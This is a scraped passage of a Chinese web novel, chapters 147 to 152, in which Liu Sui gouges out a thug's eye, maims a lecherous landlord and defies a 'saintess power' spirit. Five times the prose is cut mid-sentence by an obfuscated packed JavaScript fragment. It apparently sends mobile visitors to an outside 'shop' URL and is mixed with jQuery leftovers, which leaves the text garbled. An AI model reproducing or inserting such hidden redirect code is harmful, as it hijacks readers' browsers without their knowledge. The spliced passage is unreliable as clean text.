“把她.....咳咳,给我绑了!今天老子非弄死她不可。” 都被打成这惨样了,还是记不住教训。 没人吭声,也没人上前。 开玩笑,他们刚才看得分明,就是眼前这看起来娇娇弱弱的姑娘,不出手则已,一出手动辄要人性命! 再说,他们也不想大变猪头! 柳岁的目光在他身上寸寸掠过,不屑和嘲讽丝毫不加掩饰。 “本想借你看场大戏的,结果你不领情,坏了我的好心情。” 她叹口气,颇有些埋怨。 “招亲没看着,就想看看你们那什么员外府是什么模样,结果你又是个没眼力价的,这眼睛就是摆设!” 语毕,男子只觉眼前有黑影一闪,他傻愣愣的站着,血顺着脸颊缓缓流下。 “啊啊啊——我的眼睛!” 他捂着左眼,疼得在地上来回打滚。 柳岁咂舌,“可惜了这身衣裳。” 众人齐齐倒吸口凉气,后退再后退,死死盯着柳岁手上那颗血淋淋的眼珠子。 “怎么?你们想要?也行,吃什么补什么!但愿你们日后眼睛都能放亮点!别狗眼看人低。” 有人张嘴哇地吐了出来。 这么温柔的语气,是怎么说出那么残忍的话来? 景昭辰倚在阴影里,面上不见半分惊讶,掏出块干净的帕子递过去。 “脏东西还不赶紧扔了,擦擦。” 柳岁笑,接过帕子小心把眼珠子包好,又朝那群人问一句。 “有没有好看的木匣子?送礼用的那种!” 刚还不安的人群突然就静止了,空气也似乎在这一刻凝固住。 他们甚至连大声呼吸都不敢,生怕惹到眼前这女阎王。 柳岁又朝前走一步,脸上是温柔且无辜的笑。 “没有吗?或者进绣楼给我取一只来?” 软软糯糯的声音,听在他们耳中,却似催命的符咒。 “有。。。。有的,小的.....现在就去.....给您取来。” 他跑得跌跌撞撞,好像身后有狗撵一样。 其余人则是身体抖如筛糠,胆小的更是已经吓得尿了一裤裆。 木匣很快取来,柳岁看一眼,做工还挺精致,雕着几朵栩栩如生的梅花。 她把帕子里的眼珠子放进去,郑重其事地阖上盖子。 “这是我送你家孙员外的大礼!愿他早日寻得佳婿,啊不是,愿他的爱女早日择到良人!预祝他们恩爱两不疑,相守到白头!” 众人互相看看,瑟缩着,无一人敢上前。 极度的压抑险些将他们逼疯。 最后,还是方才去取匣子的家丁上前,欲哭无泪。 “记得把我的话都告诉你家员外,我就在这等他!” 第148章 失了几次手? 平常热闹的长街一时安静得让人有些不适应,绣楼前挂着的彩色灯笼随风轻摆。 不光没见到传说中那位羞花闭月的孙枝枝,这边闹出这么大的动静,那边却似毫无所察,连个出来查看情况的丫鬟也没有。 柳岁在众目睽睽之下伤了员外府那么多的家丁,自然有人将此事报给了晏城的城守方有为。 他见来人满脸惊恐,说话也结结巴巴,端起一旁的热茶慢慢啜着,时不时抬头打量那人一眼。 “都说完了?” 那人点头,“方大人,您要不要去看看?毕竟伤的都是孙员外府上的人,小人瞧那管家伤势颇重” 方有为低着头,那人也瞧不见他的神色,心中有些忐忑。 孙员外在晏城可说是只手遮天,这位方大人却好似一点也不介意,即使手都伸到他城守府了,他每日依旧该干嘛干嘛,完全不受影响。 他上任三年有余,从不曾与孙员外发生过正面冲突,那么他的家事自然也无需他操心。 “你也说了那是孙员外的管家,不是我城守府的,况且孙员外调动起衙差不是轻而易举之事?” 那人嗫嚅,小心端详方有为的神色。 “那女子实在太过嚣张,方大人也不管?若放任她在城中横行,岂不乱套了?” 方有为依旧不接他的话茬,倒是对他口中的女子颇感兴趣。 “哦,你与本官说说那女子是何模样?她一人动手就伤了孙员外那么多人?” 那人揪着衣摆,有些拿不准方有为的心思,他斟酌了半晌。 “她身旁还跟着个男子,只是小人瞧着是个没本事的,弱不禁风,一直躲在那姑娘身后。” 方有为挥手,示意一旁的小厮给那人塞了几块碎银。 待将人打发走,他这才把茶盏重重放在桌几上。 “呵,平常都想不到要寻我出面,如今遇到个棘手的,倒想起我来了,本官哪里是他招之即来,挥之即去之人。” 孙员外府上的人说是家丁,实则都是他暗中培养的打手,功夫算不得上乘,但对付一般人还是绰绰有余。 今天吃了这么大一个亏,肯定是不会善罢甘休的。 他正思量间,有小厮匆匆赶来,附在他耳边低语了几句。 方有为一贯闲适的面色突然就变了。 “人在哪?” “传了信就走了,并未停留。” 方有为唇角扬了扬,“去,给我拿身普通的长衫过来,咱们去瞧出好戏。” 小厮们不明所以,还是默默按照他的吩咐一一照做。 柳岁无聊的坐在树下的青石凳上,单薄的身体几乎与夜色融为一体,神情更是完全看不清。 景昭辰坐在屋顶上,身边是正在啃肉包子的涂山。 “哎呀,我都困了,他们怎么还不来?是我送的礼不够重?” 景昭辰忍不住嘴角上翘。 孙员外今日算是倒大霉了。 柳岁脾气不好,众人都知道,可她困倦时简直堪称暴躁! 孙员外是真心不怕死,还是没吃过亏? 脚步声由远及近,柳岁半阖眸,困得恨不得就地躺平。 轿子就停在离她几步远的地方。 她不动,轿子里的人也不动。 孙员外悄悄掀开帘子的一角,打量树下坐着打盹的女子。 一身素淡的青色衣裙,那腰细的不盈一握,光线昏暗,看不清长相,但只看轮廓也知是个漂亮的。 明月皎皎,夜风流动。 孙员外咽了咽口水,对着车中的人微颔首。 “您瞧这姑娘成吗?” 那人闭着眼,也不接他的话,轿中静的针落可闻。 “今日枝枝的招亲也被这不知打哪跑来的野丫头给搅和了,公子别恼,明日肯定能钓到大鱼。” “呵,你失了几次手了?” 他嗓音清淡,听不出半点情绪,可却把孙员外吓得出了一脑门的汗。 “都是我的错,求您再给我一次机会,这一次肯定不会让您失望的!” “我能把你捧上来,自然也能踩下去,去,会会那姑娘,若留着无用,直接打杀了,也省得日后麻烦。” 孙员外抹一把额上的冷汗,猫着腰,缓缓走下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015209|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他背着手,挺着个大大的肚子,像极身怀六甲的妇人。 见柳岁依旧没一点要起身的意思,孙员外怒斥一声。 “大胆妖女!敢伤本官的人,你这是不想要命了?来呀,给我将人绑了,带回府中严刑拷问!” 众人一怔,他们之中好些都见识过柳岁的狠辣劲,闻言连连后退,手不断推搡着前面的人。 “你们上啊,老爷吩咐你们敢不从?” 柳岁猛地睁开眼,眸底似寒夜里的冰,只看一眼,就令人全身发寒。 她从头到脚都没一点装饰之物,却美得令人有一瞬的窒息感。 孙员外一怔,被她周身的杀气吓得踉跄几步。 柳岁开口,声音软绵绵,带着点困倦,听得心里麻酥酥。 “你就是孙员外?艾玛,瞧这肚子大得都快顶天了,就算是要生产的妇人也没这肚子大,不知道的 还以为这肚子里是怀了双胎!” 她噼里啪啦,竹筒倒豆子一般。 孙员外的脸顿时黑的如同万年锅底。 每天鱼翅燕窝,出门不是马车就是轿子,这个妾室送碗汤,那个就必要送盅粥,他不吃,后院就鸡飞狗跳。 他不胖谁胖! 寂静无声。 扮成家丁的护卫又往后退了退,实在是柳岁身上的压迫感令他们觉得害怕。 孙员外看着她单薄瘦弱的身影,不怀好意思的笑了笑。 “姑娘若是无家可归,不如随我回去可好,吃香的喝辣的,还能让你日日穿新衣!” 见柳岁无动于衷,他凑近几分,嘴巴里喷出的臭气熏得柳岁险些呕出来。 “别看我这样,活儿好着呢!小娘子想不想试试欲仙欲死的滋味啊?” 他笑得很猥琐,伸出手就往柳岁莹润如玉的脸上摸去。 一切看起来都很顺利,孙员外甚至已经开始想象眼前这姑娘被他压在身下的场景,禁不住吞了吞口水。 然后,他的手腕就以一种奇异的方式向后折去,他眼睁睁看着自己的手腕渐渐扭曲变形。 咔嚓,骨头断裂的声音。 第149章 男人的嘴,骗人的鬼! 方有为隐在一边的屋舍后看着这边发生的一切,然后,目光扫到了姿态慵懒的景昭辰。 方有为的唇翕动了几下,最终强忍住想要大笑几声的冲动。 看来,好戏登台了! 晏城即将翻天覆地。 另一边,孙员外疼的甚至已经忘记了自己是谁,他不住的在原地跺脚。 “都是死人吗?快去把秦郎中带过来!啊啊啊,我的手。” 他恶狠狠的盯着柳岁,嘴里不干不净骂着。 “看来孙员外还是不够疼,要不我好人做到底,让你两只手对称如何啊?” 柳岁笑一声,朝着孙员外一步步逼近。 马车帘轻动了一下,一道寒芒闪过。 “嗖——” “啪——” 一切又趋于安静,仿佛什么都不曾发生。 景昭辰握着手里的折扇,用脚尖踢了踢了身边的涂山。 “有人想杀你主子,去瞧瞧。” 涂山虽懒,却是个护主的,平常怎么玩闹都行,但真要对柳岁动杀意的人,它是绝不会放过的。 零容忍的涂山腾地跃起,在空中划出个好看的弧度,然后蛇尾重重拍在轿顶上。 奢靡的软轿四分五裂! 孙员外吓的一个激灵,望过去,轿中却是空空如也,他这才悄悄松了口气。 方才放暗器的人不知是何时离开的,柳岁也不介意。 “涂山你闻到熟悉的味道了吗?” 涂山啪的甩一下蛇尾,正好扫到孙员外。 他咻的一下飞出去老远,好巧不巧砸在正赶来的郎中身上。 郎中当场吐血昏了过去。 孙员外这一下也摔的不轻,四个人才勉强将他扶起来。 柳岁困,困的想杀人的心都有了。 她漫不经心的摆摆手。 “既然收了我的礼,道个谢就赶紧离开吧!我都困死了,可没空陪你在这玩游戏。” 孙员外的神情有些呆愣。 所以他真是来道谢的? 这姑娘送他个血淋淋的眼珠子,他还要道谢? 短暂的呆滞后是孙员外咬牙切齿的怒吼。 “我今天非得弄死你不可!来人啊,都给我上,不用手下留情。” 孙员外只觉得胸腔似有怒火不断地燃烧,下一刻就会冲出来,把所有人焚烧殆尽! 他抱着手臂,口沫横飞,之前树立的形象早被抛到九霄云外。 “你这样心思歹毒的女子就该被乱棍打死,再将你五马分尸,总之你不得好死!” 天空突然开始飘起雨点子,初时不大,随着轰隆的雷声,和划破黑暗的闪电,豆大的雨噼啪落下来。 孙员外瞬间被浇得成了只落汤鸡,血水顺着雨水逐渐蜿蜒,尖锐的叫骂声终于停了。 柳岁勾起唇角,看着撑在自己上方的伞。 “是杀了还是问问他轿中人是谁?” 景昭辰几乎把所有的伞都撑到她的那一边,雨水打湿了他半边身子。 “应该是主使的那人,但,内力一般。” 柳岁也不再开口,只是示意他看一边。 景昭辰的人都在暗处,但若是细心点就会发现少了一个。 她踢了踢涂山,“所以你一直盯着的人呢?” 涂山垂着脑袋,一副做错事的模样。 有的人就是这么会钻空子,它不过打个盹的功夫,这人就不知何时溜了。 有鬼,绝对有鬼! 江风自以为做得神不知鬼不觉,只要在摄政王发现前回来就好,那么多的暗卫,多一个少一个,一时半会也看不出来。 奇异的香气丝丝缕缕,和着雨水湿润的味道。 “回来了。” 景昭辰笑,并不回头,淡淡应了一声。 柳岁不光擅长制毒,她还爱制香,抹在他随身的扇子上,香味经久不散。 刚才暗器和折扇相互撞击,细微的粉末沾在江风的袖子上,他却毫无所察,自以为做得很隐蔽。 柳岁无声地朝涂山嘱咐两句,才将视线重新投到孙员外身上。 也不知是不是摔傻了,他也不叫人撑伞,就那么站在雨里,整个人跟石化了似的。 景昭辰示意,黑衣人上前利落地将孙员外往肩上一扛,迅速消失在雨幕中。 员外府上的人嘴巴张了张,看着柳岁那似笑非笑的眼神,默默散开。 “守着绣楼,无我吩咐,任何人不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015210|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进出。” “是,属下这就去办,爷和姑娘先去休息吧。” 江风也想跟着一起,涂山就在他脚边,他走一步,它挪一步,小眼珠子一直盯着他。 你跑啊!再跑啊! 涂山气愤,它决定从今天起再也不偷懒了,不分昼夜跟着这形迹可疑的家伙。 毕竟因为他,它被勒令半月不许吃肉干! 蛇就这么点爱好,叫它如何忍得了? 害它这么悲惨的罪魁祸首就在眼前,它盯不死他! 江风的脚只要往绣楼方向迈,涂山就拦在面前,除了后退,无路可走。 “你为什么总要与我过不去?咱们前世无怨,今世无仇!” 涂山恶 狠狠盯着他。 刚才射出的那枚暗器,虽不至于要了柳岁的命,但若是躲不开,或是没景昭辰挡那一下,她漂亮的脸蛋肯定会留下伤痕。 所以说,男人的话就不能信! 他说他绝不会伤害到柳岁,那是基于柳岁尚未威胁到他利益的前提下。 男人的嘴,骗人的鬼! 江风有些战战兢,他竟然从涂山眼里看到了浓浓的怀疑。 一条蛇都能发现端倪,爷和柳岁当真看不出来? 他眼角余光扫到站在树下的柳岁和景昭辰。 两人像是什么也不知道,不知在低语什么,间或能听到柳岁清亮的笑声。 江风袖中的手握了握。 不会的,他们一定发现不了的,自己出去用的都不是真容。 他一遍遍在心里安慰自己,但一颗心依旧七上八下没个着落。 他倒不害怕景昭辰,他是担心柳岁,不想有一天她用失望的目光看自己。 谁不想在心爱人的心里留下最美好的印象? 他也不例外。 可惜,柳岁满心满眼都是景昭辰,对他谈不上冷淡,但也绝无其他多余心思,他实在不甘心。 喜欢的人不论对错,在对方眼里都是完美无暇的。 但,不喜欢的人,有时连呼吸也是错的。 他本来是不打算再回来碍柳岁眼的,随便换个人戴个人皮面具也是一样。 可是,心却不受自己控制。 第150章 去你的圣女之力! 柳岁和景昭辰表面看来是截然不同的两种人,一个总是眉眼染笑,另一个则是冰如寒冰。 但,熟识他们的人都知道,两人在骨子里是一样的狠辣无情。 有时论起来,甚至柳岁还要比景昭辰更决绝几分。 江风的视线不敢放在柳岁身上太久,他怕自己会忍不住想要将她占为己有。 如果按照原计划,柳岁最终会被抹去全部记忆,永远留在怀义当圣女。 可大抵她也不会再爱别人。 他们接触的并不算多,可江风觉得自己还是挺了解柳岁,她是那样敢爱敢恨的女子。 宁为玉碎不为瓦全! 只想到这,他就觉得主子的法子可能行不通。 然后,他就看到柳岁微侧头,露出个意味深长的笑。 江风一滞,手中的伞掉落在地。 他从柳岁方才的一瞥中感受到了杀意,只觉得浑身汗毛倒竖。 他这心虚的表情,再一次验证了柳岁的猜测。 “阿昭,你觉得他一开始就非你的人?还是后来中途被换过?就像冯天奇那样?” 景昭辰抬头看一眼黑漆漆的天,雨没有一点要停的意思,反而越下越大。 “应该从一开始就不是我的人,只不过隐藏得很好。” 他语气平淡,实则内心酸疼无比,能被他带到身边的暗卫,都是经过层层把关的,这里面自然也包括他们的身世。 江风和其余三人不同,他是老镇国公打仗时,途经一处森林时捡到的。 那森林与怀义相隔不过几十里。 既是老镇国公交托的人,他自然也无二话,且江风很有些习武的天分,自小两人就在一起训练,挨罚时互分一个冷硬的馒头。 景昭辰常常在想,是自己错了吗? 不然为何他们一个两个都抵不住诱惑离他而去呢? 又到底是什么样的诱惑,能让他们赴汤蹈火,在所不惜也要取他性命? 太多的困惑,太多的背叛,他都有些记不清当初他们的模样。 他们曾许下承诺,要守护彼此,守护大昭,守护天下太平! 如今,对月许诺的人只剩下他一个。 “阿昭,不必怀疑自己,人有时为了自己的目的就是会不择手段,未必是你的错,可他们为了心安,一定要有个假想敌,如此不管做什么伤天害理的事,也都有个能安慰自己的借口。” 人都有两面,善成佛,恶成魔。 有时退一步海阔天空,进一步万丈深渊,但真正愿意退让的有多少呢? 彼此都希望退让的是对方,永远也不会承认自己的错误,因为那样就代表自己活得很失败。 景昭辰将她打横抱起。 “岁岁就是我的解语花。” 对于柳岁窥探人心的本事,他从未多问过一句,就像她天生活该如此一般。 他是个寡言无趣的,柳岁有这本事他就放心了,至少她能知道他心中真正的想法。 孙员外发了疯似地冲到他们两人身边。 “放下这妖女!她是我的,哈哈哈,老子今夜就要睡了她!” 他放声大笑,手臂扭曲成麻花形状,好像已经疼得麻木。 “老子府上女人多了去了,但如你这般貌美的当真少见,随我回去,保管你穿金戴银” 地上的雨水慢慢汇聚,逐渐围着他们二人转动。 江风见孙员外状若疯癫,生怕他会坏事,袖中握着的暗器毫不迟疑地朝他射去。 “叮——” 暗器发出脆响,掉落在景昭辰脚边。 江风不敢相信,他又使劲揉了揉眼睛。 暗器像被什么阻拦在外,所有的杀气都被化解得一干二净。 灵气在丹田处运转,一圈两圈三圈 景昭辰只觉得怀中人变得越来越滚烫,像是即将爆发的火山。 “阿昭,赶紧放我下来!” 柳岁大喝一声,离开景昭辰的怀抱,朝着方才的大树冲过去。 孙员外伸出另一只手臂拦住她。 “小娘子给老子亲一口” 最后一字刚出口,孙员外突然身子僵在原地,头顶不断冒出烟雾。 然后,就这么消失在了众人的视线中! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015211|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个大活人,突然就不见了! 匪夷所思。 景昭辰离得最近,也看得最分明,那孙员外像蒸锅里的水蒸气一样飘散在空中,最终化为清风。 他若运用体内所有内力,可将人一掌拍成肉泥,但像柳岁这样直接让人用这种方式消失得无影无踪,正常人都做不到! 柳岁只觉周身被细密的疼痛包裹住,丹田处更是烫得几欲炸裂开。 “再如此不服管教,今日大不了我就与你同归于尽!” 她不敢想象,要是刚才没及时从景昭辰怀里跳下来,现在消失的人会不会就是他了? 只要一想到有这种可能,她的心就痛的几乎碎成粉末。 她不允许这种事发生! 圣女之力如果不能为她所用,还会伤及无辜,不如一并了结,她一人死,换来所有人安宁,值得! 景昭辰心猛的往下坠。 “岁岁不要” 却见柳岁上方突地亮若白昼,紫色的气体迅速聚拢,似龙非龙,似蛇非蛇。 柳岁此刻耳畔不断传来嘈杂之声,女子低笑声,孩童啜泣声,马儿的嘶鸣声,野兽的怒吼声 一声高过一声,震耳发聩! 她只觉五内俱焚,莫名的酸楚令她眼中泛起雾气。 柳岁捂住耳朵,可眼前却浮现出一幕幕陌生的场景,如同走马灯一样迅速闪过。 “柳岁,所谓圣女之力不过是一代又一代圣女死后凝聚的灵力所化,你很不一般,竟能感受到她们的存在,待得日后,必能与她们心意相通,怀义需要你” 柳岁不断挥手,双眼紧闭,“妖魔鬼怪退退退!阿昭救我!” 半空的蛇形怔了怔,似乎没想到她是这样的反应。 “柳岁!我不是鬼怪,就是你体内的圣女之力” 可柳岁就像疯了一般,不断挥舞着双手。 “我去你的圣女之力,都不能为我所用,要来干嘛?滚滚滚,滚回你的怀义去,我不是你们要找的圣女!” “??” 这丫头莫不是脑子坏掉了? 这么胆大妄为的丫头竟然惧怕鬼怪? 第151章 你的小蛇蛇 柳岁只见景昭辰嘴唇一张一合,完全听不见他在说什么,只看到他焦急的神色。 柳岁冷着脸,挣扎着站起来,手仍死死捂住耳朵。 “我不听,你赶紧有多远滚多远!那什么鬼怀义的,我也不去,乱了与我何干?” 一通发泄,只觉得心中无比畅快。 是啊,怀义乱不乱,与她有什么关系? 她又不是拯救天下苍生的神,不可能把什么都扛在自己的肩上,这样的人生该活得多累? 圣女之力幽幽叹一声,柳岁虽捂着耳朵,它的话依旧清晰地传过来。 “罢了,即择你为主,自然得服从于你。” 它想,迟早有一天她会明白自己的责任,怀义如今群龙无首,顶多乱个几年,可如果它再一味和这丫头唱反调,以这丫头说到做到的性子,说不好真就把它打得渣都不剩。 它嘲讽地看向装死的涂山。 什么狗屁圣蛇,不过尔尔! 圣女之力与圣蛇相互扶持,却又互相看不上眼,几百年来大小纷争不断,可从什么时候开始圣蛇突然就在怀义消失了。 怀义也就是在那时变得不太一样了,它也说不出具体,反正每个人好像都怀踹着心思,就连圣女也变得郁郁寡欢。 眼前这古灵精怪,从异世而来的姑娘说不定真能改变怀义,人要向前看,国家也一样得与时俱进! “不行,我嫌弃你!如此不受掌控,万一有一日伤到我身边最重要的人该怎么办?” 柳岁喜欢防患于未然,不确定的干脆就不冒险去尝试。 “伤不到的,不过就是给你的小小考验罢了!” 它心道,还是第一回见这样不服管教的圣女,给了她点小小教训,她就威胁着要毁掉圣女之力。 太可怕了! 女人是老虎,这话一点不假! 它打算继续缩回柳岁身体,结果,回不去了。 柳岁排斥它! “我发誓,我保证,再不会发生今日之事!” 柳岁冷哼,面露不屑。 “我他妈跟个看不着的灵力有啥好起誓的,都说人心隔肚皮,你这种虚无缥缈的玩意,更信不得!” 圣女之力怒。 “我不是玩意!!” 柳岁哦一声,“确实,还挺有自知之明。” 圣女之力,“??” 不明所以,但它敢断定不是好话! “让我进去!你需要我!” 柳岁随意用手一指,那层看不到的结界就裂开。 “不必!你也太看得起自己了,没你,我也好好长这么大了!” 圣女之力简直要哭出来了,它就是个无根的灵气,必得要依仗圣女才能变得强大。 否则烟消云散。 说起来,好像,似乎,确实是它更需要圣女的滋养! “我错了!日后保管事事听您的!” 柳岁不语,最后开始小跑起来。 紫色的圣女之力就如同尾巴,亦步亦趋跟在她身后。 “阿昭,咱们走。” 涂山瑟瑟发抖。 圣女之力怎么这么没骨气? 看来它今后还得乖一点再乖一点,瞧圣女之力那摇尾乞怜的模样! 它才不会变得跟它一样! 涂山伸出蛇信子,舔了舔柳岁的手掌。 圣女之力,“” 这都什么操作?这还是从前印象中高冷凶残的圣蛇? 是狗吗?还学会舔人示好了! 可惜,它也想,但它只是个灵体! 做不到!!! 雨夜里,景昭辰的身影看起来有些落寞。 “阿昭,阿昭,你怎么了?吓着了?” 柳岁拉他,他仍有些怔怔。 回想起刚才的场景,觉得一切如在梦中。 “岁岁,那是长白口中的圣女之力?” 柳岁回头嫌弃看一眼。 “对,而且这玩意和长白一样聒噪的很!” 她亲昵挽着景昭辰的胳膊,声调明显比方才温柔。 “阿昭,我又累又饿,你背我吧?” 景昭辰单膝跪在地上,“上来。” 圣女之力小心凑近点,可怜巴巴望着柳岁。 “你现在心情好了,就让我回去吧。” 柳岁摇头,“走开。” “我在外时间太久,会消失的。” 圣女之力听起来有些有气无力,柳岁却笑了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015212|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在装可怜这一门,我若说第二,没人敢称第一,你还是回炉重造再来我面前演戏。” 圣女之力简直欲哭无泪,早知道它就不出来耍这个威风了,现在好了吧,回不去了! 它努力回想,自己当初是怎么死不要脸进到柳岁丹田里的? 圣女之力想进圣女丹田,需得圣女心甘情愿方可,可柳岁对这些虚幻的事一直很抗拒,以至于它只得躲在灵池的鱼身上暂时栖息。 对了,柳岁吃了龙鱼! 它悄悄问一旁看起来有些偷感的涂山。 “喂,这丫头喜欢吃什么?” 涂山本想摞两句难听话,但想到圣女之力的恐怖,只得乖乖回答它的问题。 “不挑食。” 圣女之力恶声恶气威胁。 “你最好给我安分点,打不过她,但还能灭得了你!” 涂山嗫嚅,此刻简直恨极了。 为什么就它不能说话?? 它可怜巴巴蹿上去,蹭了蹭柳岁的手背。 呜呜,主子,它欺负你的小蛇蛇了! 柳岁垂眸,“管你什么狗屁之力,赶紧滚远点,我们可都不待见你!” 涂山点头,就是就是,主子的小可爱只能是我! 简直跋扈,霸道,不可理喻! 圣女之力暗戳戳骂,没有心,也觉得很委屈。 “你骂我?” “??” 传闻中的窥探人心,它今日可算真的见识到了! 这一下,更加坚定了它要跟着柳岁翻天覆地的决心! 对,怀义乱就让它乱,有圣女的地方,就是圣女之力的归宿! “是我之前想的太过复杂了,跟着您,就是我最大的荣幸。” 它搜肠刮肚,把从前听过所有的赞美人的词全部说了一遍。 可惜,柳岁不为所动,甚至趴在景昭辰背上睡着了。 这一天过得可谓惊心动魄,本想着可以在客栈歇两日,谁知道事情一桩接着一桩,别说睡觉了,就连好好坐下吃顿饭的时间都没有。 虚幻离奇的事见多了,也就见怪不怪了,只是这圣女之力非要凌驾在自己之上,那就别怪她翻脸无情! 给它个深刻的教训,好让它知道谁才是主子! 第152章 匪夷所思 柳岁觉得自己就是个离经叛道之人,从不受这朝代的约束,而且她一来就流放,每天忙着如何养家糊口,也从没有人因为她是女子就用那些条条框框来要求她。 她就像刚出生的婴儿,用一双眼来重新审视这个世界。 但,光怪陆离的事从内心讲她还是非常排斥的。 就拿一直跟在屁股后面的圣女之力来说,简直匪夷所思,闻所未闻,见所未见。 换成旁人,也许会很高兴自己有这一番际遇,毕竟被传得神乎其神的圣女之力如今可是苦巴巴跟在身后的。 她闭着眼,身体能清晰感受到圣女之力的渴望和迫切。 流言止于智者。 所谓圣女之力也必须要有承载它的躯体。 而她无疑是最适合的容器。 但,万事万物都有自己要遵从的规则,圣女之力也不例外。 不过半盏茶的时间,圣女之力已经从开始时的深紫变成浅紫。 “真的,只要离开您两个时辰,我就会消散无踪,归于混沌。” 柳岁微睁了睁眼,一脸的无所谓。 “人都不能永生,何况你这灵体,本就需依附才能壮大。” 她弯唇,“对了,如果我死了,但是还没找到下一任的圣女,你的结局当如何?” 圣女之力简直气得七窍生烟,偏还不能与她硬碰硬,只得软了声调轻声哄着。 “不会的,上一任的圣女身死,灵体会早她一步去寻下一位圣女,生生不息,所以您担心的事不会发生。” “所以说等同于是抛弃了即将要死的圣女?那我要你这种忘恩负义之辈有何用处?” 不光不听命令,还是贪生怕死的。 圣女之力一噎,倒是从未往深层想过这问题。 它的存在该有百年了,一直遵循着一个原则,那就是寻到圣女,壮大自己的同时,也协助圣女治理怀义。 怎么从柳岁嘴中问出来,总感觉有些怪怪的。 它一个外人看不着摸不着的灵体,也要背负忘恩负义的骂名? 柳岁深吸一口气,按住心中想要把这气团一掌拍散的冲动。 “如果不能为我所用,且不分善恶好歹,只一味机械地进入一个又一个圣女的体内,你的出现又有什么意义?” “我无法拯救苍生,也做不到路见不平拔刀相助,但,永远保持一颗善良的心,是我的初衷!所以,我不需要你!” 自古习武和修仙皆为正义而存,欲不灭道不存。 可活在世俗中的人谁又能真的抛开七情六欲,不过是少些私心,多些大爱。 圣女与圣女之力就是两个独立的个体,互相依附,难分高低,可这股灵力用在正途那就是惩恶扬善,可若是有人之心利用它走捷径,那就是助纣为虐! 她也不知自己穿越一场因何而来,但肯定不是为了造杀孽! 为了不让大昭千疮百孔,满目疮痍,为了所有想要守护的人世代喜乐,她想她愿竭尽所能! 只有一步一步朝前走,才能知道到底走多远。 她想得深远,不觉间已经到了落脚的客栈。 烛火摇曳,桌上的饭菜还冒着热气。 这一刻,更坚定了柳岁要护着身边人的决心。 “你走吧!不管是重新寻找适合的身体还是归于混沌都与我没半点干系!至于怀义,呵,能定下这种无情无义规则的地方,乱就乱了吧!” 她从景昭辰的背下轻轻跃下,甚至都不曾回过一次头。 圣女之力有些沮丧,它在门边不断徘徊。 百年来既定的规则要被打破重造其实是件很难接受的事。 可,柳岁说得对,没规矩不成方圆! 圣女之力凌驾于圣女之上,本就称不上尊重,何况它其实才是那个需要依附的虚幻之力。 简单洗漱一下,柳岁就与景昭辰坐下用饭。 忙活了一天,这会反而没了胃口,只吃了小半碗饭,两人同时放下筷子。 “岁岁,其实我觉得你不必如此急着拒绝,只要它愿为你所用,于你有百利而无一害。” 柳岁趴在桌子上,手指戳着茶水描画。 “嗯,可你也看见了,它压根不服管教,又没实体,就是想揍也揍不着啊!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14015213|148646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 景昭辰端起茶啜一口,眉头微微蹙起。 “这茶怎么这样苦?” 江树捂着屁股从阴影处走出来。 “回爷的话,这是柳姑娘吩咐煮的,添加了一些药材。” “嗯,喝了吧,对你大有裨益。” 她不多说,景昭辰也不问,端起茶一饮而尽。 “只有千日做贼,哪有千日防贼的,百密也总有一失,我就想着不如让你自带抗体” 景昭辰的瞳孔猛地缩了缩。 “你该不会加了尸虫?” 柳岁懒懒应一声,“是啊,晒干磨成粉是上好的药材,避毒驱虫” “呕——” 不等她话说完,景昭辰冲到门边干呕起来。 